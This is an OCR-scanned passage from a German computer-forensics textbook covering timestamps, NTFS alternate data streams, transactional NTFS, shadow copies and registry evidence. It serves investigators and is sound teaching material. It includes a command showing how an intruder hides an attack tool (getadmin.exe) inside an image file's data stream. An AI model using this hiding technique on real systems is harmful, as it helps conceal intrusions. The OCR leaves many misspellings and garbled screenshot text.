Zeit (MEZ), die Sommerzeit die Mitteleuropdische Sommerzeit (MESZ),
auf Englisch Central European Summer Time (CEST, britisch) oder Cen-
tral European Daylight Saving Time (CEDT, CET DST, amerikanisch);
manchmal wird auch der Begriff Middle European Summer Time (MEST)
verwendet.

UTC: Universal Time Coordinated, koordinierte Weltzeit. Die UTC ist die
heute giltige Weltzeit. Eingefihrt wurde sie 1972. Aus Zeitangaben in
UTC erhalt man die in Deutschland und anderen mitteleuropéischen Staa-
ten geltende Mitteleuropdische Zeit (MEZ), indem man eine Stunde
addiert. Um die im Sommer geltende Mitteleuropaische Sommerzeit
(MESZ) zu erhalten, muss man zwei Stunden addieren.

4. Unix-Time oder auch Posix-Time zihlt die vergangenen Sekunden seit dem 1.
Januar 1970 00:00 Uhr UTC. Dieses Startdatum wird auch als The Epoch bezeich-
net.
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GMT: Greenwich Mean Time. Die GMT war von 1884 bis 1928 Weltzeit, in
dieser Funktion ist sie heute von der Koordinierten Weltzeit UTC abgel6st.
Der Ausdruck selbst ist in GroBbritannien und Westafrika noch fir die Zeit-
zone Westeuropaische Zeit (WEZ/WET, UTC+0) in Gebrauch, in der UTC
Zonenzeit ist. GMT sollte heutzutage nicht mehr verwendet werden, da
rein mathematisch gesehen die GMT von der UTC bis zu 0.9s abweichen
kann. Wenn z.B. in Mailheadern GMT steht, ist stets UTC gemeint.

MEZ: Mitteleuropaische Zeit, Normalzeit, Central European Time, CET.
Die MEZ ist eine fiir Teile Europas - unter anderem fiir die deutschsprachi-
gen Gebiete - und Teile Afrikas gesetzlich gultige Uhrzeit. lhre Differenz
zur koordinierten Weltzeit (UTC) betragt +1 Stunde

MESZ: Mitteleuropaische Sommerzeit: DST (Daylight Saving Time), CEST
(Central European Summer Time). Die Zeitdifferenz der Mitteleuropa-
ischen Sommerzeit zur Koordinierten Weltzeit (UTC) betragt + 2 Stunden.

Weichen Dateisystemzeit des Cookies und der Wert der Google-Uhr
voneinander ab, hat man zumindest die Information tber mogliche
Systemzeitabweichungen zum Zeitpunkt der Cookie-Speicherung.

In der Computer-Forensik hat sich die sogenannte MAC-Time eta-
bliert. Der Begriff MAC-Time steht fiir die Modification-, Access- and
Change-Time einer Datei im Dateisystem. Bei NTFS-Dateisystemen
spricht man oft auch von der MACE-Time, dazu spiter aber mehr.

Die Modification-Time (Zeitpunkt der letzten Modifikation) ist
der Zeitpunkt, zu dem eine Datei das letzte Mal geschrieben
wurde. Dieser Zeitstempel wird aktualisiert, wenn sich der Inhalt
der Datei verandert. Beim Kopieren oder Verschieben wurde dieser
Zeitstempel nicht veriandert. Bei Verinderung des Dateinamens
oder der Dateiattribute verdnderte sich dieser Zeitstempel ebenfalls
nicht.

Access-Time (Zeitpunkt des letzten Zugriffs) ist der Zeitpunkt, zu
dem eine Datei das letzte Mal gelesen oder ausgefithrt wurde. Die-
ser Zeitstempel wird aktualisiert, wenn Metadaten oder Dateiin-
halte angezeigt werden. Hierbei ist es unerheblich, ob die Datei
gespeichert oder anderweitig verandert wurde. Wird die Datei
geoffnet oder aufgerufen oder sonstwie betrachtet, findet sich dies
im Zeitstempel wieder.

Unter Windows gibt es den dritten Zeitstempel, die Creation Time
(Zeitpunkt der Erstellung). Dieser Zeitstempel wird bei neuer
Erstellung oder Kopie einer Datei aktualisiert. Wird die Datei oder
das Verzeichnis verschoben, dndert sich der Zeitstempel nicht.
Unter Linux steht das C fiir Change-Time. Dies ist der Zeit-
punkt, zu dem bestimmte Metadaten der Datei verdndert wurden

Modification-, Access- and
Change-Time
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Verdndern der MAC-Time

Nicht jede Aktion ist

erkennbar.

(typischerweise durch Andern der Zugriffsrechte oder des Eigentii-
mers).

Aus forensischen Gesichtspunkten hilft eine Analyse der MAC-Times
herauszufinden, welche Dateien wihrend des Angriffs gelesen, geschrie-
ben, ausgefithrt oder verindert wurden. Dies gibt Hinweise darauf,
welche Konfigurationsdateien bzw. welche Systemdateien verdandert
wurden, um z.B. eine Hintertiir in das System zu installieren. Zusitzlich
kann man die wihrend des angenommenen Angriffszeitpunkts verdn-
derten Dateien analysieren und unter Umstinden erfahren, welche
Methode zum Systemeinbruch gefiihrt hat.

Auch wenn es um die Analyse von Gebrauchsspuren eines PC geht,
kann die Analyse der MAC-Zeitstempel enorme Erkenntnisse bringen.
Es lasst sich beispielsweise durch die geschickte Erstellung von Time-
lines recht genau sagen, zu welchem Zeitpunkt eine Datei auf ein Sys-
tem kopiert wurde und ob sie in der Folge dann auch moglicherweise
angeschaut wurde. Fiir einige Deliktarten macht es eben einen Unter-
schied, ob eine Datei nur in ein Download-Verzeichnis heruntergela-
den wurde oder zu einem spiteren Zeitpunkt auch betrachtet bzw.
ausgefiithrt wurde.

Ungliicklicherweise kann die MAC-Time durch einen Téater sehr
leicht verdndert oder durch Anti-Forensik-Techniken ganz unbrauch-
bar gemacht werden. Beim einfachen Lesen einer Datei oder Ausfiih-
ren eines Systembefehls verindert sich die Last Access Time und der
vorherige Wert ist unwiederbringlich verloren. Dies macht es fuir einen
Ermittler unbedingt erforderlich, besondere Vorsichtsmaf$nahmen zu
ergreifen. Gelingt es wihrend der Ermittlung, die MAC-Time der
Dateien unverandert zu sichern, stehen die Chancen sehr gut herauszu-
finden, was mit dem System wirklich geschehen ist.

Nicht jede Aktion an einer Datei oder einem Verzeichnis verandert
die MAC-Time gleichermafSen. Einige Aktionen lassen sich durch eine
Analyse der MAC-Time nicht so ohne Weiteres nachweisen. So wird
z.B. beim Kopieren einer Datei unter Linux nur deren Last Access Time
verandert, wihrend beim Umbenennen bzw. Bewegen keine der MAC-
Times modifiziert wird. Allerdings verandert sich dabei die MAC-Time
des Verzeichnisses, was sich dann wieder nachweisen liefe’.

5. Eine interessante Abhandlung zu den verschiedenen MAC-Time-Anderungen fin-
det sich z.B. unter http:/fwww.securityfocus.com/infocus/1738.
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Zwischen der MAC-Time eines Unix-Systems und der MAC-Time
eines Windows-Systems gibt es einige Unterschiede. Anders als unter
Unix ist beim Kopieren einer Datei unter NTFS die Last Modification
Time der neuen Datei gleich der Last Modification Time der Original-
datei, wihrend Creation Time und Last Access Time den Kopiervor-
gang durch Verianderung anzeigen. Diese Datei hat dann den
Anschein, als wenn sie erstellt wurde, nachdem sie verindert wurde
(Last Modification Time ist alter als Creation Time und Last Access
Time!). Als weiterer Stolperstein kommt hinzu, dass NTFS die Last
Access Time aus Performancegriinden nur dann aktualisiert, wenn sie
eine Stunde und spater nach der vorherigen Last Access Time liegt. Bei
FAT-Systemen wird nur das Datum des letzten Zugriffs gespeichert
und nicht die Uhrzeit.

C:\WINNT>filestat taskman.exe

Dumping taskman.exe...

[.]

Creation Time - 09/12/1999 14:00:00
Last Mod Time - 09/12/1999 14:00:00
Last Access Time - 22/11/2002 09:48:15
Main File Size - 36112

File Attrib Mask - Arch

Dump complete...

C:\WINNT>copy taskman.exe taskman_neu.exe
1 Datei(en) kopiert.

C:\WINNT>filestat taskman_neu.exe
Dumping taskman_neu.exe...

[.]

Creation Time - 20/05/2003 19:44:34
Last Mod Time - 09/12/1999 14:00:00
Last Access Time - 20/05/2003 19:44:34
Main File Size - 36112

File Attrib Mask - Arch

Dump complete...

Abb. 5-3  Nach dem Kopieren einer Datei unter NTFS ist Last Modification Time dlter als
Creation Time und Last Access Time (das gezeigte Tool filestat wird in Abschnitt 7.2.8 ndher
vorgestellt).

Der Registry-Key HKEY_LOCAL_MACHINE\SYSTEM\CurrenCon-
trolSet\Control\FileSystem\NtfsDisableLastAccessUpdate  steht bei
Windows Vista und Windows 7 standardmifSig auf »1«. Unter Win-
dows 2000 und XP war dieser Key bisher in der Standardeinstellung
deaktiviert. Vermutlich aus Performanceerwigungen wurde das
Schreiben des Last-Access-Zeitstempels seit Windows Vista in einer
Standardinstallation bedauerlicherweise deaktiviert. Der Zeitstempel

Unterschiede bei Unix
und Windows

Windows Vista/
Windows 7
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Abb. 5-4

Seit Windows Vista ist das
Schreiben des Last-Access-
Zeitstempels in einer
Standardinstallation
deaktiviert.

MFT-Timestamp

Zeitstempel an

Verzeichnissen

Command Shell

zeigt dann die Creation Time. Der Key lisst sich aber ohne Probleme
wieder auf »0« setzen.

0500000000 (0
000000000 (0)
000000000 (0
0500000001 (1)
0500000000 0
000000000 (0
000000000 (0)
0500000€10 (3600)
000000001 (1)
000000001 (1)
0500000000 (0
000000000 (0
000000001 (1)
0500000000 {0
000000000 (0
000000001 (1)

‘.’.'o']NtfsD\5ableBcIc:GNam&Creati...
‘.’.'.:1 NtfsDisableCompression
‘-’-'61 MtfsDisableEncryption

i1 NtfsDisablel astAccessUpdate

o

||01 MNtfsEncryptPagingFile
‘.’.'.:1 MtfshMemonyUsage

‘.’.'.ﬂ NtfshftZoneReservation
4] NtfsQuotaNotifyRate

‘.’.'31 SymlinkLocalTolocalEvaluati..,

o

||015‘ nlinkLocalToRemoteEvalu..,

44| SymlinkRemoteToLocalEvalu...

‘.’.'.:1 SymlinkRemoteToRemoteEva...
‘-’-'61 UdfsCloseSessionOnEject

‘.’.'5| UdfsSoftwareDefectManage...
31 FileSystem

8| Win25TruncatedExtensions REG_DWORD

Der MFT-Zeitstempel wird aktualisiert, wenn ein Attribut in den
Records in der MFT geidndert wird. Die MFT und die darin unter ande-
rem enthaltenen Zeitstempel sind fiir den Anwender ohne Hilfsmittel
nicht sichtbar und damit oft unmanipuliert. Dieser Zeitstempel nennt
sich auch $MFT Entry Record Modified, sodass man unter NTFS auch
von den MACE-Timestamps spricht.

Verzeichnisse verfugen ebenfalls iiber MAC-Zeitstempel, anhand
derer man nachvollziehen kann, welche Operation mit einem Verzeich-
nis durchgefithrt wurde. Werden beispielsweise unter Windows neue
Dateien erstellt oder geloscht, wird die Last Modified Time des Ver-
zeichnisses aktualisiert. Werden Verzeichnisinhalte aufgelistet, wird die
Last Access Time aktualisiert. Wird ein Verzeichnis kopiert, werden
alle vier Zeitstempel aktualisiert. Wird eine Datei im selben NTFS-
Volume verschoben, werden nur MFT Modified und Last Access Time
aktualisiert. Bei einer Verschiebung auf einen anderen Datentriger wer-
den alle vier Zeitstempel aktualisiert.

Die MAC-Time der Command Shell ist von besonderem Interesse,
da die Shell oft bei Buffer-Overflow-Angriffen aufgerufen wird, um
den Angreifercode auszufuhren. Dies dndert die MAC-Time der Shell
und kann unter Umstdnden ein guter Hinweis auf einen Angriff sein,
vorausgesetzt, es sind zwischenzeitlich keine Batch-Dateien aufgerufen
worden. Auch aus diesem Grund sollte wihrend der lokalen Ermitt-
lung eine eigene vertrauenswiirdige, externe Shell verwendet werden.
Das Aufrufen von eigenen Skripten und Tools kann die MAC-Time der
Shell verindern und somit konnten wichtige Anhaltspunkte verloren
gehen.



5.4 NTFS-Streams

119

Die Analyse der MAC-Times bringt Erkenntnisse Uber den letztmaligen
Zugriff (Aufruf oder auch Ansicht) und den letzten Zeitpunkt der Anderung
von Dateiattributen der Dateien in einem Dateisystem.

5.4 NTFS-Streams

Das Dateisystem NTFS unterstiitzt ein Feature, das sich Alternate Data
Streams (ADS) nennt und als Versteck fiir Angreiferdaten verwendet
werden kann. Diese Streams konnen in jeglicher GrofSe erstellt und mit
normalen sichtbaren Dateien (Parent File genannt) verbunden werden.
Sie sind dann fiir den normalen Anwender nicht sichtbar und fur ihre
Erkennung ist eine spezielle Software notig. Mit Windows 7 sind nun
auch ADS beim dir-Befehl mit dem Schalter /r darstellbar.

Urspriinglich wurden ADS bendétigt, um Macintosh-Dateien unter
NTES zu unterstiitzen. Ein Teil (genauer der Resource Part) von Mac-
intosh-Dateien wird normalerweise in den ADS gespeichert. Auch
Antivirenprogramme verwenden manchmal Alternate Data Streams,
um dort Prifsummen zu speichern.

Streams konnen sowohl an Dateien als auch an Verzeichnisse
gebunden werden. Wird das Parent File editiert, andert sich der Inhalt
des ADS nicht. Ebenso wenig wird durch Modifikation des ADS das
Parent File verdandert. Es ldsst sich mit dieser Datei problemlos weiter-
arbeiten. Der ADS kann nicht mit normalen Werkzeugen wie dem
Windows Explorer erkannt werden. Nur wenige Virenscanner sind in
der Lage, innerhalb der ADS Trojaner zu erkennen.

D:\>dir logo.gif
22.11.2002 13:17 4.934 1ogo.gif

D:\>dir getadmin.exe
15.11.2002 21:48 61.440 getadmin.exe

D:\>cp getadmin.exe logo.gif:getadmin.exe

D:\>dir logo.gif
20.05.2003 20:43 4.934 Togo.gif

Abb. 5-5  Verstecken der Datei getadmin.exe im Alternate Data Stream der Datei logo.gif
(MAC-Time dindert sich aber)

Alternate Data Streams
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Windows Vista/
Windows 7

Transactional NTFS

NTFS bietet die Méglichkeit, Daten in sogenannten Alternate Data
Streams (ADS) zu verstecken. Dem Anwender ohne Zusatztools bleiben
diese Daten verborgen. Eindringlinge kénnen ADS zum Verstecken von
Daten oder Angriffsprogrammen verwenden, da nur wenige Tools in der
Lage sind, den ADS-Bereich zu analysieren.

Mit der Einfuhrung des Service Pack 2 fur Windows XP wird der ADS
einer Datei nun dafiir genutzt zu speichern, ob die Datei mit dem Inter-
net Explorer aus der Internet-Zone heruntergeladen wurde, und dann
eventuell eine Warnmeldung beim Aufruf zu erzeugen (der sogenannte
Zone Identifier). Zusitzlich verwenden Windows Vista und Windows
7 den ADS nun auch zum Speichern von Transaktionsdaten des TxF
(siche unten). Ebenfalls unter Windows ist es nun moglich, mehrere
Streams von Daten innerhalb einer Datei zu verwenden.

5.5 NTFSTxF

Mit der Einfithrung von Windows Vista wurde das NTFS-Dateisystem
auch um Transaktionsfihigkeiten erweitert und mit Windows 7 erheb-
lich ausgebaut. Dieses TxF genannte transaktionsbasierte NTFS
ermoglicht es Anwendungen, Dateioperationen atomar auszufiihren.
Verianderungen am Dateisystem werden dementsprechend nur dann
vorgenommen, wenn die komplette Transaktion erfolgreich durchge-
fithrt werden konnte. Zu einer Transaktion kénnen dabei eine Einzel-
operation oder eine Abfolge von Dateioperationen gehoren (beispiels-
weise das Erzeugen, Loschen oder Umbenennen einer oder mehrerer
Dateien bzw. Verzeichnisse). Das TxF war rudimentir bereits in Vor-
gingerversionen von Vista und deren NTFS enthalten, aber nicht aktiv.

NTFS TxF speichert Transaktionsdaten fiir jedes Volume (also
Anderungen an internen NTFS-Strukturen) im ausgeblendeten Ver-
zeichnis $Extend\$RmMetadata in einer einmal pro Volume vorkommen-
den Metadatei namens $USNJRNL und deren Stream. Zusitzlich werden
diese Transaktionsdaten auch im Alternate Data Stream (ADS) des
betroffenen Objektes gespeichert. In diesem Journal lassen sich dann
viele Informationen finden, wie Dateinamen, Zeitstempel und auch die
bereits vorgestellten MFT Records. Bei der Analyse eines Vista-Daten-
tragers sollten diese Bereiche dann selbstverstandlich ebenfalls unter-
sucht werden.
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a.

Erlduterungen der einzelnen Flags in der Metadatei $USNJRNL®

Die Metadatei enthalt u.a. Dateinamen, MFT-Referenzen und Zeitstempel
und an Offset 0x28 den Grund flr den Eintrag:

0x01 Data in one or more named data streams for the file was overwrit-
ten.

0x02 The file or directory was added to.

0x04 The file or directory was truncated.

0x10 Data in one or more named data streams for the file was overwrit-
ten.

0x20 One or more named data streams for the file were added to.
0x40 One or more named data streams for the file was truncated.
0x100 The file or directory was created for the first time.

0x200 The file or directory was deleted.

0x400 The user made a change to the file's or directory's extended
attributes. These NTFS attributes are not accessible to Windows-
based applications.

0x800 A change was made in the access rights to the file or directory.
0x1000 The file or directory was renamed, and the file name in this
structure is the previous name.

0x2000 The file or directory was renamed, and the file name in this
structure is the new name.

0x4000 A user changed the FILE_ATTRIBUTE_NOT_CONTENT
_INDEXED attribute. That is, the user changed the file or directory
from one that can be content indexed to one that cannot, or vice versa.
0x8000 A user has either changed one or more file or directory attribu-
tes or one or more time stamps.

0x10000 An NTFS hard link was added to or removed from the file or
directory.

0x20000 The compression state of the file or directory was changed
from or to compressed.

0x40000 The file or directory was encrypted or decrypted.

0x80000 The object identifier of the file or directory was changed.
0x100000 The reparse point contained in the file or directory was
changed, or a reparse point was added to or deleted from the file or
directory.

0x200000 A named stream has been added to or removed from the
file, or a named stream has been renamed.

0x80000000 The file or directory was closed.

Eine komplette Ubersicht findet sich unter
http://msdn.microsoft.com/en-us/library/aa365722(VS.85).aspx.
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5.6 NTFS-Volumen-Schattenkopien

Bereits mit Windows XP wurde eine Technologie mit der Bezeichnung
»Volume Shadow Service« (VSS) vorgestellt, um Snapshots — soge-
nannte Volumen-Schattenkopien — von Datentriger-Volumen fiir die
Datensicherung zu erstellen. Unter Windows Vista ist dieses bereits mit
Windows 2003 erweiterte Feature standardmifig aktiviert. Ein
Anwender kann damit Dateien wiederherstellen, die er versehentlich
geloscht oder tiberschrieben hat. Neuere Windows-Versionen nutzen
diese Volumen-Schattenkopien ebenfalls, um Benutzer- und Systemda-
tenschutzmechanismen zu vereinheitlichen und das Speichern redun-
danter Sicherungsdaten zu vermeiden. Seit Windows Vista und auch in
Windows 7 ist dieser Dienst standardmafig aktiviert.

Im Gegensatz zu Windows XP verwenden Windows Vista und
Windows 7 auch fir die Systemwiederherstellung Volume-Snapshots.
Die mit VSS erstellten Schattenkopien sind keine vollstindigen Kopien
des Datentrager-Volumes, sondern stellen vielmehr Ansichten von
einem fritheren Zeitpunkt dar. Mit der »copy on write« genannten
Technik werden Volumevorginge tiberwacht und Sicherungskopien
von Sektoren erstellt, bevor Anderungen daran vorgenommen werden.
Die urspriinglichen Daten werden in einer Datei gespeichert, die dem
Snapshot im Verzeichnis C:\System Volume Information des Volumes
zugeordnet ist.

Die Schattenkopien dienen als einheitliche Datenquelle fiir die bei-
den Funktionen »Systemwiederherstellung« (Restore Points) und
»Vorgangerversion wiederherstellen« (Previous Versions) und ersetzen
damit die »Restore Points-Funktionalitit« aus den Windows-Versio-
nen vor Vista.

Mochte ein Anwender tiber das Kontextmenii » Vorgingerversion
wiederherstellen« eine alte Dateiversion wiederherstellen, hat er die
Moglichkeiten, die alte Version an eine beliebige Stelle zu kopieren
(»Kopieren«) oder die aktuelle Version zu ersetzen (»Wiederherstel-
len«). Diese geht dabei verloren.

Wenn der Anwender die Einstellungen nicht verandert, werden
unter Windows 7 alle sieben Tage Schattenkopien erstellt, wihrend es
bei Windows Vista noch alle 24 Stunden waren. Manuell kann iiber
die Systemsteuerung jederzeit die Erstellung eines Systemwiederher-
stellungspunktes gestartet werden, ebenso kann dies eine Anwendung
uber eine API triggern. Werden unsignierte Treiber installiert oder kri-
tische Patches iiber Windows-Update eingespielt, wird ebenfalls ein
Systemwiederherstellungspunkt erstellt. Diese Vorginge laufen im
Hintergrund und der Anwender bekommt davon nichts mit, denn die
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Daten werden im unbelegten Speicherbereich des NTFS-Volumes
abgelegt.
T [ Abb. 5-6
DerAnwender hat
: mehrere Méglichkeiten
1 \ Vo_rhenge \ersionen stammen aus )
) Wiederherstelungspunkten oder aus der Windows- zur Auswahl der
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venendet? Wiederherstellung.
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- |
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4 | etzte Woche (1)
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I Offrnen ] I Kopieren... HWlederherstellen...
Ubemehmen
Die Daten aus Schattenkopien werden standardmifSig entfernt, wenn
mehr als 5% des Speichers bei einer Partition > 64GB und mehr als 3%
des Speichers bei einer Partition < 64 GB belegt sind. Zusitzlich gilt,
dass man ungefihr 300 MB als Mindestplatz benotigt, um eine Schat-
tenkopie zu erstellen, und es gilt ein Limit von 64 Schattenkopien pro
NTFS-Volume.
In der Standardeinstellung werden einige Dateien vom VSS ausge-
schlossen. Diese Liste lasst sich aber tiber einen Registry-Schlussel
anpassen:
Dot Bewboten Anacht faverten Abb. 5-7
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Neben den bereits beschriebenen Moglichkeiten des Kontextmentis,
frithere Dateiversionen fiir eine Analyse wiederherzustellen, gibt es
zahlreiche weitere Analyseverfahren.

In der Registry sind bereits
vom VSS ausgeschlossene
Dateien zu sehen.

VSS analysieren
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Der ShadowExplorer® bietet eine einfache Moglichkeit, unter
einem laufenden NTFS-Volume alte Versionsstinde einfach sichtbar
zu machen:

Abb. 5-8 =
Mit dem ShadowExplorer Heite

) c -

lassen sich alte o e 1258 | || ame Date Mded Tipe Sz Date
H 1 $Recycle Bin 19022011 13:32.23 Dateiordner 14.07)
SyStem versionen Boot 23022011 03:38:07 Dateiordner 18.02)
komfortabel Config Msi 03.06.2011 132141 Dateiordner 03.06]
Documents and Settings 14.07.2009 07:08:56  Dateiordner 14.07)
. Dokumente und Einstelungen ~ 15.02.201113:30:30  Dateiordner 19.02
wiederherstellen. misc 20052011 00:55:42  Dateiordner 19.02
Perflogs 14.07.2009 05:20:08  Dateiordner 14.07)
Program Files 25.02.201119:45:50  Dateiordner 14.07)
Program Files (86) 29.05.201100:38:27  Dateiordner 14.07)
ProgramData 03.06.201113:20:26  Dateiordner 14.07)
Programme 19.02.201113:30:30  Dateiordner 19.02
Recovery 19.02.2011 13:30:30 Dateiordner 15.02)
System Violume Information 03.062011 18:44:05 Dateiordner 15.02)
Users 19.02.2011 13:30:36 Dateiordner 14.07)
Windows 03.06.2011 13:22:51 Dateiordner 14.07)
‘c_’humrngr 20.11.2010 13:40:07 Datei 375KB  15.02
__|BOOTSECT.BAK 13.02201113:25:33  BAK-Datei 8KB 15.02
\%| pagefile sys 03.06.2011 140827  Systemdatei 1048576 KB 15.02

N ] ,

Samtliche Dateien der Volumen-Schattenkopien finden sich versteckt
im Verzeichnis C:\ System Volume Information.

Folgende Schritte zeigen, wie man auf der Kommandozeile mit den
Volumen-Schattenkopien arbeiten kann. Mit Hilfe des Befehls vssad-
min kann man sich anschauen, ob es fiir das NTFS-Volume eine Volu-
men-Schattenkopie gibt:

vssadmin 1ist shadows /for=C:
vssadmin 1.1 - Verwaltungsbefehlszeilenprogramm des Volume-
Schattenkopie-Dienstes

(C) Copyright 2001-2005 Microsoft Corp.

Inhalte der Schattenkopiesatzkennung: {b6c7b331-10ed-49a7-883d-
0b2e3214566b}

1 Schattenkopie(n) war(en) enthalten bei der Erstellungszeit:
29.05.2011 01:1
0:40

Schattenkopienkennung: {d64e2343-98d5-409d-al0a-
Oba2dbf30e40}
Urspriingliches Volume: (C:)\\?\Volume{786e340a-3c23-

11e0-8947-806e6f6e6

6.  http:/lwww.shadowexplorer.com/
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963}\

Schattenkopievolume:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3

Quellcomputer: VM-7

Dienstcomputer: VM-7

Anbieter: "Microsoft Software Shadow Copy provider 1.0"

Typ: ClientAccessibleWriters

Attribute: Permanent, Clientzugdnglich, Keine
automatische Freigabe, Differenziell, Automatisch
wiederhergestellt

Nachdem man die Volumen-Schattenkopie identifiziert hat (in unse-
rem Beispiel heifst sie \\?\GLOBALROOT\Device\HarddiskVolumeShadow
Copy3), kann man sie entweder direkt als Link lokal einhingen:

mklink /d C:\{Forensik-VSS}
\\?\GLOBALROOT\Device\HarddiskVolume ShadowCopy3\

symbolische Verkniipfung erstellt fiir C:\{Forensik-VSS} <<===>>
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\

als Share im Netz freigeben:

net share Forensik-VSS=\\.\HarddiskVolumeShadowCopy3\
Forensik-VSS wurde erfolgreich freigegeben.

oder mittels DD als forensisches Image sichern, um es dann mit einem
forensischen Werkzeug als logisches Volume weiterzubearbeiten:

dd.Exe -v if= \\.\HarddiskVolumeShadowCopy3 of=F:\shadowl.dd -
localwrt"

Fur die Planung der Sicherstellung sei noch erwiahnt, dass bei den o.g.
Schritten das komplette Laufwerk zum Zeitpunkt der Snapshoterstel-
lung zur Verfiigung gestellt wird und nicht nur die veranderten Daten.
Man hat also das Abbild des kompletten Volumes. Dies ist wichtig bei
der Planung des Zielplattenplatzes, da mit jedem gesicherten Snapshot
ein komplettes System gesichert werden muss. Als Daumenregel kann
folgende Berechnung herangezogen werden: Grofse der gesamten Fall-
daten = (Anzahl der Volumen-Schattenkopien auf dem Volume) x
(GrofSe der Volumen-Schattenkopien) + (Grofle des Volumes)

Die oben beschriebenen Titigkeiten fithrt man selbstverstandlich
nicht mit dem originalen Datentrager durch, sondern erstellt eine foren-
sische Kopie des gesamten Volumes, konvertiert die Kopie in eine virtu-
elle Maschine, startet diese und fiithrt dann darin die oben beschriebe-
nen Schritte durch.

Volumen-Schattenkopien werden in Zukunft immer starkere
Bedeutung bei der Computer-forensischen Analyse erlangen, da sie
ohne ein Zutun der Anwender im Hintergrund erstellt werden. Neben
den vorherigen Versionen von Dateien finden sich in den Volumen-
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Schattenkopien auch alte Versionen der Betriebssystemkonfiguration
inklusive Registry und SAM. Die dafiir notwendigen Analysewerk-
zeuge werden stindig verbessert und bieten eine gute Analysegrund-
lage.

5.7 Windows-Registry’

Die Windows-Registry (auch Windows-Registrierungsdatenbank
genannt) ist fur die Computer-Forensik eine unschitzbar wertvolle
Quelle. Sie ist seit der ersten Version von Windows NT die zentrale
hierarchische Konfigurationsdatenbank des Betriebssystems Microsoft
Windows. Hier werden sowohl Informationen von Windows selbst als
auch Informationen von Programmen gespeichert. Seit Windows 95
und Windows NT 4.0 handelt es sich bei der Registry um eine umfas-
sende Datenbank fiir die Verwaltung des Systems und aller integrierten
Systemdienste und -prozesse. Die Registry bietet auch die Moglichkeit,
dort die Einstellungen der installierten Anwendungen zentral abzule-
gen. Die Registry-Eintriage werden in einer Baumstruktur in sogenann-
ten »Schlisseln« (engl. Keys) angelegt, die alle von einigen Haupt-
schlisseln abstammen. Die Daten der Registry werden in mehreren
Dateien, sogenannten Hives®, in einem speziellen Datenbankformat
auf der Festplatte gespeichert. Es gibt sieben Hives, von denen nur funf
rein physisch abgelegt werden, wihrend zwei Hives volatil sind und
beim Boot-Vorgang des Systems neu erzeugt werden:

HKEY_CLASSES_ROOT = HKLM\Software\Classes | Registrierte Anwendungen. Zuweisungen zu Dateier-

weiterungen und die OLE-Datenbank. Ab Windows
2000 sind sowohl nutzer- als auch systembasierte Infor-
mationen enthalten. Bei doppelten Werten haben in der
Regel die Nutzerwerte Vorrang.

HKEY_CURRENT_USER= HKU\<SID> Benutzerinformationen, Praferenzen und Einstellungen

des gegenwartig angemeldeten Nutzers

HKEY_LOCAL_MACHINE

Einstellungen zu Hardware, Software und Sicherheits-
parametern des lokalen Rechners

HKEY_USERS Unterschlissel fur jedes aktiv geladene Nutzerprofil
(Standardprofil und gegenwartig angemeldeter Nutzer)
HKEY_PERFOMANCE_DATA Zur Laufzeit vom Kernel oder bestimmten Programmen

bereitgestellte Informationen Uber die Systemleistung.
Diese werden von Regedit nicht angezeigt.

7. Umfangreiche Hilfsmittel und Informationen rund um das Thema Registry finden
sich unter http://computer-forensik.org/registryl.

8. Hive ist der englische Begriff fiir Schwarm bzw. Bienenstock und stellt den obersten
Knoten einer Registry-Hierarchie dar. Es ist quasi eine Art Stammverzeichnis.
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HKEY_CURRENT_CONFIG = HKLM\System\Current | Hier stehen Hardware-Informationen, die bei jedem
ControlSet\Hardware Profiles\Current Bootvorgang auf Basis der tatsachlich vorhandenen
Systemkomponenten erzeugt werden und daher nicht
physisch in eine Registry-Datei geschrieben werden.

Statistiken genutzt

HKEY_DYN_DATA Nur bei Win95, Win98 und Win ME FUR DIVERSE

Nur die ersten fiinf Hives sind physisch auf der Festplatte vorhanden
und lassen sich bei einer Post-mortem-Analyse auswerten.

Jeder Schlussel tragt einen Zeitstempel LastWrite (entspricht Last
Modification Time). Obwohl dies nicht einem vollstindigen MAC-
Zeitstempel entspricht, erlaubt dieser Wert dennoch die Interpretation
einer Registry als Logfile.

Die Registrierung besteht aus zwei Teilen: Der erste Teil umfasst
Konfigurationsdaten fiir die gesamte Windows-Installation, der zweite
Teil beinhaltet alle benutzerspezifischen Informationen und Einstellun-
gen.

Anbei ein kurzer Uberblick, welche Informationen aus der Regis-
try im Rahmen einer Computer-forensischen Ermittlung relevant sein
konnten’

Welche Details iiber das System und Windows gibt es? Welche
davon sind zur Identifikation nitzlich (z.B. Name des registrierten
Besitzers, MAC-Adresse)?

Welche Benutzerkennungen gibt es und wann waren diese zuletzt
verwendet?

Welche Programme sind bzw. waren installiert? Wann wurden sie
installiert bzw. deinstalliert? Von welcher Quelle wurden Pro-
gramme installiert?

Welche Anwendungen wurden zu welchem Zeitpunkt zuletzt
genutzt? Von welchem Datentrdger?

Welche spezielle Software ldsst sich nachweisen (z.B. Anti-Foren-
sik-Software, Software zur Beweismanipulation, Brenn-Pro-
gramme, Malware)? Zu welchem Zeitpunkt wurden Malware-
Komponenten installiert?

Welche Hardware gibt es im System?

Welche Geritetreiber sind installiert?

Welche Dienste sind installiert und wie ist ihr Startverhalten?
Welche Partitionen gibt es und welche Signaturen haben diese?
Gibt es alte Partitionen?

9. Basierend auf den weiterfiihrenden Informationen zum Artikel »Spurensuche in
der Windows-Registry: Goldmine« (iX 1/2011) unter
http://computer-forensik.org/2010/12/23/windows-registry-forensik-1/.
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Welche Dateisysteme sind installiert?

Auf welche Dateien wurde zuletzt zugegriffen? Welche Dateien
wurden gespeichert? Welche Verkniipfungen auf Dateien wurden
gesetzt? Liegen verlinkte Dateien auf Shares oder externen Volu-
mes?

Welche Shares gibt es?

Welche Kommandos wurden vom Kommando-Prompt aus aufge-
rufen?

Welche Gerite, insbesondere mobilen Medien (z.B. USB-Sticks,
Digitalkameras), waren wann mit dem Rechner verbunden, und
welche Seriennummern haben diese?

Welche Verzeichnisse waren wann mit dem System verbunden
(auch solche auf angeschlossenen mobilen Medien)? Unter welchen
Laufwerksbuchstaben?

Welche Nutzernamen und Kennworter wurden fiir Windows, Pro-
gramme, E-Mail und Internet verwendet?

Welche Websites wurden wann besucht?

Welche Daten wurden in Formulare von Webseiten eingegeben und
ggf. fir die Wiederverwendung gespeichert?

Nach welchen Begriffen wurde im lokalen System sowie bei Inter-
net-Suchmaschinen gesucht?

Mit welchen Einstellungen der Netzwerkkarten war der Rechner
zuletzt mit anderen Netzwerken (inkl. WLANSs) verbunden?
